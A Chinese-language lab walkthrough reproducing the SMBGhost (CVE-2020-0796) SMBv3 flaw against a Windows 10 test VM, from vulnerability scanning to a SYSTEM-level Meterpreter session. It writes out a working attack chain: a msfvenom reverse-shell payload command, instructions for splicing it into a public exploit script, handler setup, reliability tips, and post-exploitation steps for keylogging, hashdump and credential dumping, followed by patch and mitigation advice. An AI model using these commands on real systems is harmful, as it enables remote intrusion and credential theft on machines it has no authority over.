永恒之黑(CVE-2020-0796)漏洞复现:从检测到远程代码执行(超详细附截图)
前言本次漏洞的检测是用的PoC漏洞检测脚本漏洞的利用是EXP漏洞利用骄脚本。那为啥要用脚本而不是用MSF中的某个模块呢永恒之黑CVE-2020-0796漏洞之所以通常需要借助独立脚本而非MSF一键模块主要源于其利用的不稳定性与特殊定位。该漏洞触发内核缓冲区溢出极易导致靶机蓝屏即使利用成功系统也可能在短时间内崩溃同时其影响范围仅限于Windows 10 1903/1909等少数版本且微软迅速发布了补丁这使得开发稳定、通用的远程利用模块价值较低。MSF尽管后来也收录了该漏洞模块但官方评级并不推荐作为首选攻击手段相反该漏洞在本地提权LPE场景中更具实战意义——攻击者通常先通过其他方式获得低权限Shell再利用永恒之黑提权至SYSTEM。因此实战中更多采用社区维护的独立脚本以获得更好的灵活性和对不稳定利用的容忍度。1. 漏洞概述项目内容漏洞编号CVE-2020-0796微软安全公告 ADV200005漏洞名称SMBGhost / CoronaBlue / 永恒之黑漏洞类型SMBv3 压缩功能缓冲区溢出 → 远程代码执行RCE影响组件Windows SMBv3.1.1 协议压缩解压功能危害等级高危CVSS 8.8/10可远程获取 SYSTEM 权限影响系统Windows 10 1903 / 190964位Windows Server 1903 / 19092. 实验环境角色操作系统IP 地址关键配置攻击机Kali Linux192.168.10.224安装 git, python3, msfvenom, Metasploit靶机Windows 10 1909192.168.10.141未打补丁 KB4551762关闭防火墙445端口开放靶机为win10版本并且关闭了防火墙的可以看到两台主机能够互通的3. 漏洞检测3.1 下载漏洞检测工具网址https://github.com/ollypwn/SMBGhost3.2 执行漏洞检测命令python scanner.py 192.168.10.141如果漏洞存在会显示[] Target is vulnerable!如果已打补丁或不影响会显示[-] Target is not vulnerable.。可以用ls命令查看当前文件夹可以看到有scanner.py文件执行漏洞检测命令输出Vulnerable 说明靶机确实是存在着漏洞的。检测原理该脚本通过发送特制的 SMB 协商请求检查目标是否支持 SMBv3 压缩功能且未安装补丁从而判断漏洞是否存在。可以打开脚本看看代码就好理解了。4. 漏洞原理简述漏洞位置Windows SMBv3.1.1 压缩功能函数Srv2DecompressData。触发机制该函数计算解压所需内存时直接相加攻击者可控的两个32位字段OriginalCompressedSegmentSize Offset。攻击者设为最大值小值如0xFFFFFFFF0x10导致整数溢出结果变成很小的数如15字节。分配过小内存系统分配了15字节的缓冲区但解压后的实际数据有数MB写入时发生内核缓冲区溢出。两种结果成功溢出数据中精心构造了返回地址指向shellcode → 执行恶意代码获得SYSTEM权限。失败返回地址错位 → CPU跳转到无效地址 → 蓝屏。不稳定原因返回地址的精确偏移依赖系统版本、内存布局、KASLR等EXP内置偏移易与实际不符导致频繁蓝屏。5. 漏洞利用步骤5.1 下载远程利用 EXP网址https://github.com/chompie1337/SMBGhost_RCE_PoC5.2 生成反向连接木马Payload双击打开文件夹右键打开终端这就进入到了该文件夹的终端中接下来要使用msfvenom生成一个木马这里采用反向连接反向连接是指木马在靶机中运行后主动向攻击机发起连接其核心优势在于能够穿透防火墙和NAT因为出站连接通常被允许从而解决了靶机无法被直接访问的问题。执行以下命令就能生成一个木马程序存放在shellcode.txt的文件中。注意反向连接一定要加LHOST参数因为反向连接是木马在靶机中主动向攻击机发起连接他必须要知道攻击机的地址如果选择正向连接的话就可以不加。命令msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST192.168.10.224 LPORT4444 -f python -o shellcode.txt可以看到这里生成成功了一个木马程序。5.3 修改 EXP 脚本植入木马成功生成了一个木马程序后需要将这个木马程序写入攻击程序中。但是这个生成的木马程序不能直接使用需要做出一些修改。以下是步骤用文本编辑器打开shellcode.txt然后点击搜索查找并替换所有的buf为USER_PAYLOAD。2.将修改后的shellcode.txt保存并全选复制然后打开文件夹中名叫exploit.py的文件这个文件就是攻击程序了打开后往下滑找到以USER_PAYLOAD开头的这一串代码块然后把这一块代码全选后替换为刚刚我们复制的木马程序的代码。看到这应该就知道为啥上一步要把我们生成的木马程序改成USER_PAYLOAD开头了吧就是为了和这个代码块的开头一致。看到这可能会有疑问为啥要把这个代码块替换成我们生成的木马程序呢我们可以这样想现在这个exploit.py程序就是攻击程序我们可以把他想做是一个注射器而我们刚刚生成的木马程序比做成药水我们替换代码块的这一步就像是给注射器中替换一个为你量身打造的药水实现对症下药。原本的代码块可能不适合我们的环境如果不替换可能出现攻击失败的问题。5.4 启动 Metasploit 监听器通过上面的几步我们对永恒之黑漏洞的检测和脚本的准备都已经完成了接下来我们就要通过exploit.py这个攻击程序注入我们生成的木马程序。由于我们配置的是反向连接需要等木马主动来连接kali主机所以我们需要在kali的handler配置监听端口。另开一个终端msfconsolemsf6 use exploit/multi/handlermsf6 exploit(multi/handler) set payload windows/x64/meterpreter/reverse_tcp msf6 exploit(multi/handler) set LHOST 192.168.10.224msf6 exploit(multi/handler) set LPORT 4444msf6 exploit(multi/handler) run依次执行完命令后可以看到已经成功开启了反向链接监听192.168.10.224本机的4444端口注意这个端口要设置和生成木马的时候设置的端口一致这些命令设置的参数要和生成木马的参数一致。5.5 发起攻击kali攻击机已经开启了444端口的监听接下来就要发起攻击了要让植入的木马主动连接过来。在第一个终端执行python exploit.py -ip 192.168.10.141脚本会打印内存信息最后提示Press a key to execute shellcode!按任意键。这个时候按下任意一个按键攻击发起完成。由于永恒之黑并不像永恒之蓝那样能够稳定利用这个时候出现蓝屏是正常的永恒之黑是内核级内存破坏漏洞利用需要精确控制内存布局而ASLR、系统状态等不可控因素极易导致蓝屏或失败因此极不稳定。这个时候也无法判断木马是否植入成功这时候反复运行几遍总能成功一次。这里有个小技巧在靶机未登录的时候在登录页面这个时候发起攻击成功率更高。5.6 获取会话如果成功监听器会显示Meterpreter session 1 opened。进入会话bashmeterpreter getuidServer username: NT AUTHORITY\SYSTEMmeterpreter sysinfo经过多次尝试后成功进入了会话执行getuid命令和sysinfo命令后可以看到成功输出了信息至此永恒之黑漏洞的利用完成6. 后渗透操作可选迁移进程以支持截图、键盘记录bashmeterpreter ps | grep explorermeterpreter migrate PID截图screenshot键盘记录keyscan_start→keyscan_dump抓取哈希hashdump加载 kiwiload kiwi→creds_all7. 常见问题问题原因解决方法靶机蓝屏漏洞利用不稳定恢复快照未登录状态重试多次尝试监听器无连接木马未执行或网络不通检查防火墙、LHOST、端口这里不行可以尝试重启主机恢复快照。提示缺少模块Python 依赖缺失pip3 install impacket pycryptodome8. 防御建议安装补丁KB4551762。临时缓解禁用 SMBv3 压缩PowerShell 管理员powershellSet-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters -Name DisableCompression -Type DWORD -Value 1 -Force网络封堵边界防火墙阻止 445 端口入站。系统升级升级到 Windows 10 20H2 及以上版本。9.参考资料类别名称链接官方公告Microsoft 安全通报 ADV200005https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/ADV200005漏洞数据库NVD - CVE-2020-0796https://nvd.nist.gov/vuln/detail/CVE-2020-0796检测工具ollypwn / SMBGhost (GitHub)https://github.com/ollypwn/SMBGhost利用脚本chompie1337 / SMBGhost_RCE_PoC (GitHub)https://github.com/chompie1337/SMBGhost_RCE_PoC国内分析绿盟科技漏洞通告https://www.nsfocus.net/vulndb/46976补丁下载Microsoft 官方补丁 KB4551762https://www.catalog.update.microsoft.com/Search.aspx?qKB455176210. 总结本次实验成功复现了永恒之黑漏洞的远程代码执行攻击获得了靶机的 SYSTEM 权限。关键经验漏洞检测是确认目标是否可攻击的重要前提。远程利用极不稳定蓝屏常见需多次尝试。未登录状态下成功率显著提高内存布局更干净。该漏洞再次证明及时安装补丁、关闭不必要服务的重要性。